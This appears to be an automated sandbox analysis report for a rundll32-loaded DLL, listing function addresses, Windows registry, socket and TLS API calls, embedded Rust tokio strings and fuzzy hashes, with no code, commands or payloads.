Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: ErrorLastrecv
String ID: filled overflowfilled must not become larger than initialized
API String ID: 2514157807-3814584485
Opcode ID: 36d973166f2b73ef237d79afd9989bd00327b29266cf272984ff1faea3e999d0
Instruction ID: d11e35ec64b786447c0c30c333a7300ccb5696503172a0c61054bda0b40c53c4
Opcode Fuzzy Hash: 36d973166f2b73ef237d79afd9989bd00327b29266cf272984ff1faea3e999d0
Instruction Fuzzy Hash: 99615BB1609380AFC704CF15C48464EBBE1AF8A314F548A1EF5A98B791D772D84ACB87

Function 6CBB1C98 Relevance: 5.3, APIs: 3, Instructions: 771registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,?,00000000,00020019,?), ref: 6CBB1CD5

Part of subcall function 6CBAC93D: RegQueryValueExW.KERNELBASE(?,?,00000000,?,?,?,?,?,?,?,00000000,?,?,6CBB1D27,6CC558B1), ref: 6CBAC99B

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: OpenQueryValue
String ID:
API String ID: 4153817207-0
Opcode ID: 4f53f99867cab5e8837b96adcb3e7fdbce91b6c726d4ee2b675e2eba02ae9653
Instruction ID: d16312c3fb9b7389a3f839fcb14a2757a4058abf8ba83aa9a2b12c46b9348f9c
Opcode Fuzzy Hash: 4f53f99867cab5e8837b96adcb3e7fdbce91b6c726d4ee2b675e2eba02ae9653
Instruction Fuzzy Hash: B752AD716487819FD324CF14C4917AFB7E1EF89354F148A2DE889AB690DB70D949CB83

Function 6CBE768C Relevance: 3.0, APIs: 2, Instructions: 16networkCOMMON

Download Yara Rule

APIs

bind.WS2_32(?,?,?), ref: 6CBE769B
GetLastError.KERNEL32 ref: 6CBE76A5

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: ErrorLastbind
String ID:
API String ID: 2328862993-0
Opcode ID: e0fa55e645f903c8f3a858772cbf0017633c23c114716afa830657e715d3ad85
Instruction ID: 2dcb405ab6ec8f4649e8ede17e905487353d114f89079087472295b2311a45d0
Opcode Fuzzy Hash: e0fa55e645f903c8f3a858772cbf0017633c23c114716afa830657e715d3ad85
Instruction Fuzzy Hash: 25D05E71204291AFE7205F68D404BA67AECAF0A768F1548ADE4C4D6642EBB588848B71

Function 6CBB94A2 Relevance: 42.8, APIs: 23, Strings: 1, Instructions: 842COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000098), ref: 6CBBA02F
memmove.VCRUNTIME140(?,?,00000098), ref: 6CBBA06A
memmove.VCRUNTIME140(?,?,00000098), ref: 6CBBA0C3
memmove.VCRUNTIME140(?,?,00000098), ref: 6CBBA12D
memmove.VCRUNTIME140(?,?,00000098), ref: 6CBBA175
memmove.VCRUNTIME140(?,?,00000098), ref: 6CBBA1B6
memmove.VCRUNTIME140(?,?,00000098), ref: 6CBBA1C8
memmove.VCRUNTIME140(?,?,00000098), ref: 6CBBA1F4
memmove.VCRUNTIME140(?,?,00000098), ref: 6CBBA251

Strings

future polled after completionD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-native-tls-0.3.1\src\lib.rs, xrefs: 6CBBA27D, 6CBBA299

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: future polled after completionD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-native-tls-0.3.1\src\lib.rs
API String ID: 2162964266-1242699868
Opcode ID: 4b2c80b1e523bd3780b569981c7f79ec01f41ee7931e7c71b16e16e3fd179533
Instruction ID: b6823977e30a580c1e7b66d7bb0ee91316cca450b524c326b13281b0aedae0c5
Opcode Fuzzy Hash: 4b2c80b1e523bd3780b569981c7f79ec01f41ee7931e7c71b16e16e3fd179533
Instruction Fuzzy Hash: 4D927D759087819FC761CF24C48079BBBF5FF99314F04896EE8889B741EB70A949CB92

Function 6CBB493F Relevance: 23.0, APIs: 13, Strings: 2, Instructions: 501COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000098), ref: 6CBB49AB
memmove.VCRUNTIME140(?,?,00000148), ref: 6CBB49DF
memmove.VCRUNTIME140(?,?,00000148), ref: 6CBB49F7
memmove.VCRUNTIME140(?,?,00000098), ref: 6CBB4A3A
memmove.VCRUNTIME140(?,?,00000188), ref: 6CBB4A7C
memmove.VCRUNTIME140(?,?,00000029), ref: 6CBB4C4B
memmove.VCRUNTIME140(?,?,00000029), ref: 6CBB4D08
memmove.VCRUNTIME140(?,?,00000029), ref: 6CBB4D40
memmove.VCRUNTIME140(?,?,000000D0), ref: 6CBB4DC4
memmove.VCRUNTIME140(?,?,000000D4), ref: 6CBB4DDB
memmove.VCRUNTIME140(?,?,000000D4), ref: 6CBB4E62
memmove.VCRUNTIME140(?,?,00000114), ref: 6CBB4F5D
memmove.VCRUNTIME140(?,?,00000114), ref: 6CBB502A
memmove.VCRUNTIME140(?,?,000000B8), ref: 6CBB5052
memmove.VCRUNTIME140(?,?,000000B8), ref: 6CBB5104
memmove.VCRUNTIME140(?,00000009,00000118), ref: 6CBB534C
memmove.VCRUNTIME140(?,00000009,00000118), ref: 6CBB5381
memmove.VCRUNTIME140(?,00000009,00000118), ref: 6CBB5832
memmove.VCRUNTIME140(?,?,00000118), ref: 6CBB5EB4
memmove.VCRUNTIME140(?,?,0000011C), ref: 6CBB5ED2
memmove.VCRUNTIME140(0000002C,?,0000011C), ref: 6CBB5F29

Strings

U9W{, xrefs: 6CBB52AE
cannot poll Select twice, xrefs: 6CBB4981

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: U9W{$cannot poll Select twice
API String ID: 2162964266-2385121630
Opcode ID: 80ab3cce598cc3dc1e1d92a921787912c9f6c794e8b72483dbc99b8e3f910cbc
Instruction ID: ca4f25a14a12bbaf299b0dcae1ccf76e56c7cbfdd61041255f6ee14cae632c22
Opcode Fuzzy Hash: 80ab3cce598cc3dc1e1d92a921787912c9f6c794e8b72483dbc99b8e3f910cbc
Instruction Fuzzy Hash: 4C32A275908B858FC722CF24C8807EBB7F5BF9A345F044A6DD8896F242DB709549CB92

Function 6CBB4852 Relevance: 17.0, APIs: 10, Strings: 1, Instructions: 450COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000098), ref: 6CBB4A3A
memmove.VCRUNTIME140(?,?,00000188), ref: 6CBB4A7C
memmove.VCRUNTIME140(?,?,00000029), ref: 6CBB4C4B
memmove.VCRUNTIME140(?,?,00000029), ref: 6CBB4D08
memmove.VCRUNTIME140(?,?,00000029), ref: 6CBB4D40
memmove.VCRUNTIME140(?,?,000000D0), ref: 6CBB4DC4
memmove.VCRUNTIME140(?,?,000000D4), ref: 6CBB4DDB
memmove.VCRUNTIME140(?,?,000000D4), ref: 6CBB4E62
memmove.VCRUNTIME140(?,?,00000114), ref: 6CBB4F5D
memmove.VCRUNTIME140(?,?,00000114), ref: 6CBB502A
memmove.VCRUNTIME140(?,?,000000B8), ref: 6CBB5052
memmove.VCRUNTIME140(?,?,000000B8), ref: 6CBB5104
memmove.VCRUNTIME140(?,00000009,00000118), ref: 6CBB534C
memmove.VCRUNTIME140(?,00000009,00000118), ref: 6CBB5381
memmove.VCRUNTIME140(?,00000009,00000118), ref: 6CBB5832
memmove.VCRUNTIME140(?,?,00000118), ref: 6CBB5EB4
memmove.VCRUNTIME140(?,?,0000011C), ref: 6CBB5ED2
memmove.VCRUNTIME140(0000002C,?,0000011C), ref: 6CBB5F29

Strings

U9W{, xrefs: 6CBB52AE

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: U9W{
API String ID: 2162964266-3288374708
Opcode ID: c1b5f42339f17ccabbadab48d9d62e9079f2794efa4c0e5de8875e3f3f4505da
Instruction ID: 1ef5fe66be87208b4a56a99f74c1da53618de4e0fb0bbe3d9b46d0e214e68559
Opcode Fuzzy Hash: c1b5f42339f17ccabbadab48d9d62e9079f2794efa4c0e5de8875e3f3f4505da
Instruction Fuzzy Hash: 6E227F75908B858FC722CF24C4807EBB7F5BF9A345F044A6DD8896F242DB709589CB92

Function 6CB8B679 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 358networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32(00000002,00000001,00000006,00000000,00000000,00000081), ref: 6CB8B6BC
ioctlsocket.WS2_32(?,8004667E,?), ref: 6CB8B6DA
GetLastError.KERNEL32 ref: 6CB8B6F0
GetLastError.KERNEL32 ref: 6CB8B736
WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 6CB8B83F
GetLastError.KERNEL32 ref: 6CB8B84A
closesocket.WS2_32(?), ref: 6CB8B9F0

Part of subcall function 6CBE7A4F: setsockopt.WS2_32(?,0000FFFF,?,?,00000004), ref: 6CBE7A63

Strings

tcp open errortcp set_nonblocking errortcp bind local error, xrefs: 6CB8B6F9

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: ErrorLast$IoctlSocketclosesocketioctlsocketsetsockopt
String ID: tcp open errortcp set_nonblocking errortcp bind local error
API String ID: 2822801258-1475804424
Opcode ID: 13de363c49f1a6a2398dfa14a899dcc3e5d43fa880c506de524aad006cbb5679
Instruction ID: 94785657927cb3e89d69f909e8c84a7cc64c462e95f2286529af56bf48362934
Opcode Fuzzy Hash: 13de363c49f1a6a2398dfa14a899dcc3e5d43fa880c506de524aad006cbb5679
Instruction Fuzzy Hash: 95E1BF716097819FE714CF24C880B5ABBF1FF89714F10891DF9989B691D7B1D885CB82

Function 6CBE6ABD Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 187libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(ntdll.dll), ref: 6CBE6BC7
GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 6CBE6BDB
memset.VCRUNTIME140(?,00000000,00000110,00000000,RtlGetVersion), ref: 6CBE6BF9
AcquireCredentialsHandleA.SECUR32(00000000,Microsoft Unified Security Protocol Provider,00000002,00000000,?,00000000,00000000,?,00000000), ref: 6CBE6CA1

Strings

Microsoft Unified Security Protocol Provider, xrefs: 6CBE6C9A
ntdll.dll, xrefs: 6CBE6BC2
bE, xrefs: 6CBE6C28
RtlGetVersion, xrefs: 6CBE6BD5

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: Handle$AcquireAddressCredentialsModuleProcmemset
String ID: Microsoft Unified Security Protocol Provider$RtlGetVersion$bE$ntdll.dll
API String ID: 166702113-1116218560
Opcode ID: 7d53d3c7a58b3229d16c64ba4ae252c1d531c1d12de8e7fcc51a8be28d7d39c3
Instruction ID: 2e0e865947cfa7ac0421eba6db2c3105cfd716f372c0895320e7fcc44207324d
Opcode Fuzzy Hash: 7d53d3c7a58b3229d16c64ba4ae252c1d531c1d12de8e7fcc51a8be28d7d39c3
Instruction Fuzzy Hash: 8A718B71A087899BD324CF25C840B6AB7F4FFC9754F108A1DE6988B641EB71E485CB52

Function 6CBB491E Relevance: 13.9, APIs: 8, Strings: 1, Instructions: 422COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000029), ref: 6CBB4C4B
memmove.VCRUNTIME140(?,?,00000029), ref: 6CBB4D08
memmove.VCRUNTIME140(?,?,00000029), ref: 6CBB4D40
memmove.VCRUNTIME140(?,?,000000D0), ref: 6CBB4DC4
memmove.VCRUNTIME140(?,?,000000D4), ref: 6CBB4DDB
memmove.VCRUNTIME140(?,?,000000D4), ref: 6CBB4E62
memmove.VCRUNTIME140(?,?,00000114), ref: 6CBB4F5D
memmove.VCRUNTIME140(?,?,00000114), ref: 6CBB502A
memmove.VCRUNTIME140(?,?,000000B8), ref: 6CBB5052
memmove.VCRUNTIME140(?,?,000000B8), ref: 6CBB5104
memmove.VCRUNTIME140(?,00000009,00000118), ref: 6CBB534C
memmove.VCRUNTIME140(?,00000009,00000118), ref: 6CBB5381
memmove.VCRUNTIME140(?,00000009,00000118), ref: 6CBB5832
memmove.VCRUNTIME140(?,?,00000118), ref: 6CBB5EB4
memmove.VCRUNTIME140(?,?,0000011C), ref: 6CBB5ED2
memmove.VCRUNTIME140(0000002C,?,0000011C), ref: 6CBB5F29

Strings

U9W{, xrefs: 6CBB52AE

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: U9W{
API String ID: 2162964266-3288374708
Opcode ID: eb385e3b0bfad762258cf0ffa40adf1d73f1c0237be04e3938bf0d297f998a7b
Instruction ID: 025bc14e440475475fa85b08436258d19e8b7531609f7c46b8b4f4e36c2814c2
Opcode Fuzzy Hash: eb385e3b0bfad762258cf0ffa40adf1d73f1c0237be04e3938bf0d297f998a7b
Instruction Fuzzy Hash: D4128E75908B858FC722CF24C4907EBB7F5BF9A341F044A6DD8896F242DB709589CB92

Function 6CBA1157 Relevance: 13.1, APIs: 4, Strings: 4, Instructions: 1069COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000110,?,?,6CC55F8C,6CC55F64), ref: 6CBA2202
memmove.VCRUNTIME140(?,?,00000110,?,?,?,?,?,6CC55F8C,6CC55F64), ref: 6CBA222D

Strings

dns error, xrefs: 6CBA154C
internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs, xrefs: 6CBA20E0
invalid URL, scheme is not httpinvalid URL, scheme is missinginvalid URL, host is missingConnectError, xrefs: 6CBA11EC
cannot poll Select twice, xrefs: 6CBA20FC

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: cannot poll Select twice$dns error$internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs$invalid URL, scheme is not httpinvalid URL, scheme is missinginvalid URL, host is missingConnectError
API String ID: 2162964266-100685727
Opcode ID: 42ccd4cc4323f8ed151906f05554a93a0e6a801a3a30f195caa6d66727937638
Instruction ID: 55ba7bf5d2d9148db520a1cf9537feb51249e2be572aa1dd95c8485acd50ba83
Opcode Fuzzy Hash: 42ccd4cc4323f8ed151906f05554a93a0e6a801a3a30f195caa6d66727937638
Instruction Fuzzy Hash: 9CB25B71908B84CBC765CF24C48079AB7F1FF8A354F148A1EE8DD9B651DB70A986CB42

Function 6CB87B12 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 225networkCOMMON

Download Yara Rule

APIs

getpeername.WS2_32(?,?,?), ref: 6CB87B7C
WSAGetLastError.WS2_32 ref: 6CB87C16
getsockname.WS2_32(?,?,?), ref: 6CB87CCE
WSAGetLastError.WS2_32 ref: 6CB87D62

Strings

assertion failed: len >= mem::size_of::<c::sockaddr_in6>(), xrefs: 6CB87E79
assertion failed: len >= mem::size_of::<c::sockaddr_in>()std\src\sys_common\net.rs, xrefs: 6CB87E8B

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: ErrorLast$getpeernamegetsockname
String ID: assertion failed: len >= mem::size_of::<c::sockaddr_in6>()$assertion failed: len >= mem::size_of::<c::sockaddr_in>()std\src\sys_common\net.rs
API String ID: 1444953621-3544120690
Opcode ID: cf2daeac4fb4dedaf16ec85fea5cf11f6bc8b5077e7eb10a6da9a41f3449a165
Instruction ID: 9406dcc33c9091eb054cfe31bd86a7b78835e17bffa23cf747bdb95f53003ad5
Opcode Fuzzy Hash: cf2daeac4fb4dedaf16ec85fea5cf11f6bc8b5077e7eb10a6da9a41f3449a165
Instruction Fuzzy Hash: 3EA16B30908B80DAD315CF28C4416ABB7F4FFCA359F009A0DF8D99B651E7B58985CB52

Function 6CB8B573 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 158networkCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB8B5A6
__aulldiv.LIBCMT ref: 6CB8B5E8
WSASocketW.WS2_32(00000002,00000001,00000006,00000000,00000000,00000081), ref: 6CB8B6BC
ioctlsocket.WS2_32(?,8004667E,?), ref: 6CB8B6DA
closesocket.WS2_32(?), ref: 6CB8B9F0

Strings

tcp set_nonblocking errortcp bind local error, xrefs: 6CB8B750

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: __aulldiv$Socketclosesocketioctlsocket
String ID: tcp set_nonblocking errortcp bind local error
API String ID: 2345199343-2725198832
Opcode ID: 635b2c74a7e15896fd61357be630d267c1ce4db3533f5be9dd171efeeed2b544
Instruction ID: 037f21fdc84699899d65cbf1c0b1d77ab448e07297793df9240dc5446556cb77
Opcode Fuzzy Hash: 635b2c74a7e15896fd61357be630d267c1ce4db3533f5be9dd171efeeed2b544
Instruction Fuzzy Hash: EA5121303047419BD704CF28CC80B6AB7F6EF89364F108A2DF5598B281E771E845CB92

Function 6CBF7EF1 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 449networkCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB958F1: memmove.VCRUNTIME140(?,00000000,00000000,00000000,00000000,?,00000020,?,6CBCF033,stream closed because of a broken pipesend_close: unexpected state ,00000026), ref: 6CB95916

setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 6CBF84BE
WSAGetLastError.WS2_32(?,00000004,?,?,00000002,6CBA288D,?,?,6CC55F8C,6CC55F64), ref: 6CBF84CB

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 6CBF83C2, 6CBF847D
A Tokio 1.x context was found, but it is being shutdown.the timer is shutdown, must be called from the context of Tokio runtimetimer is at capacity and cannot create a new entrytimer duration exceeds maximum durationdeadline has elapsedD:\rust\cargo\registry\s, xrefs: 6CBF7F5F

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: ErrorLastmemmovesetsockopt
String ID: A Tokio 1.x context was found, but it is being shutdown.the timer is shutdown, must be called from the context of Tokio runtimetimer is at capacity and cannot create a new entrytimer duration exceeds maximum durationdeadline has elapsedD:\rust\cargo\registry\s$called `Result::unwrap()` on an `Err` value
API String ID: 1441254279-3286110522
Opcode ID: e7da4a64145b5b7a9c03a4049d651e7e3fd7ee313b135607fc34dfdb3542c1b9
Instruction ID: 78b735d0588ee5a33b02bb0b6020872ba45cb66ecee11befc57e945525ef773c
Opcode Fuzzy Hash: e7da4a64145b5b7a9c03a4049d651e7e3fd7ee313b135607fc34dfdb3542c1b9
Instruction Fuzzy Hash: C602AD706087818FD314CF26C49075EB7E1FF8A308F10896EE9A98B791DB75D94ACB42

Function 6CBB00A8 Relevance: 5.2, APIs: 4, Instructions: 171COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000158), ref: 6CBB00B6
memmove.VCRUNTIME140(?,?,00000158), ref: 6CBB00D9
memmove.VCRUNTIME140(?,?,00000158), ref: 6CBB0198
memmove.VCRUNTIME140(?,?,000001B0), ref: 6CBB01BB

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: cb6fd49eca36c3565897ae622bdf1d7e77949181de46ae8a1c66ffb61f68c813
Instruction ID: 373b44f010373a988611ba712d717807e5a1afeffa222d91f675450a81f5461e
Opcode Fuzzy Hash: cb6fd49eca36c3565897ae622bdf1d7e77949181de46ae8a1c66ffb61f68c813
Instruction Fuzzy Hash: 8A51227164C7C49FCB018B64D850AFEBBE5AF96348F088859E8D95B740DB71D80DC792

Function 6CBA186F Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6CB8B679: WSASocketW.WS2_32(00000002,00000001,00000006,00000000,00000000,00000081), ref: 6CB8B6BC
Part of subcall function 6CB8B679: ioctlsocket.WS2_32(?,8004667E,?), ref: 6CB8B6DA
Part of subcall function 6CB8B679: closesocket.WS2_32(?), ref: 6CB8B9F0

memmove.VCRUNTIME140(?,?,00000110,?,?,6CC55F8C,6CC55F64), ref: 6CBA2202
memmove.VCRUNTIME140(?,?,00000110,?,?,?,?,?,6CC55F8C,6CC55F64), ref: 6CBA222D

Strings

cannot poll Select twice, xrefs: 6CBA20FC

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove$Socketclosesocketioctlsocket
String ID: cannot poll Select twice
API String ID: 3048605929-3773267893
Opcode ID: 02e5995f937937e151564e8a9cd7846ad571b4d74334e2ab9d4c2fb6fee64fcb
Instruction ID: 21c26a7f54e0720ba616dc8b0da677bba62e166e3978a06f3002c5438cdf25e9
Opcode Fuzzy Hash: 02e5995f937937e151564e8a9cd7846ad571b4d74334e2ab9d4c2fb6fee64fcb
Instruction Fuzzy Hash: 9641EF31908B84CBC711CF64C4409ABB7B1FF9A344F148A5DE88D1F611EB31E496CB92

Function 6CBEF440 Relevance: 4.6, APIs: 3, Instructions: 86networkCOMMON

Download Yara Rule

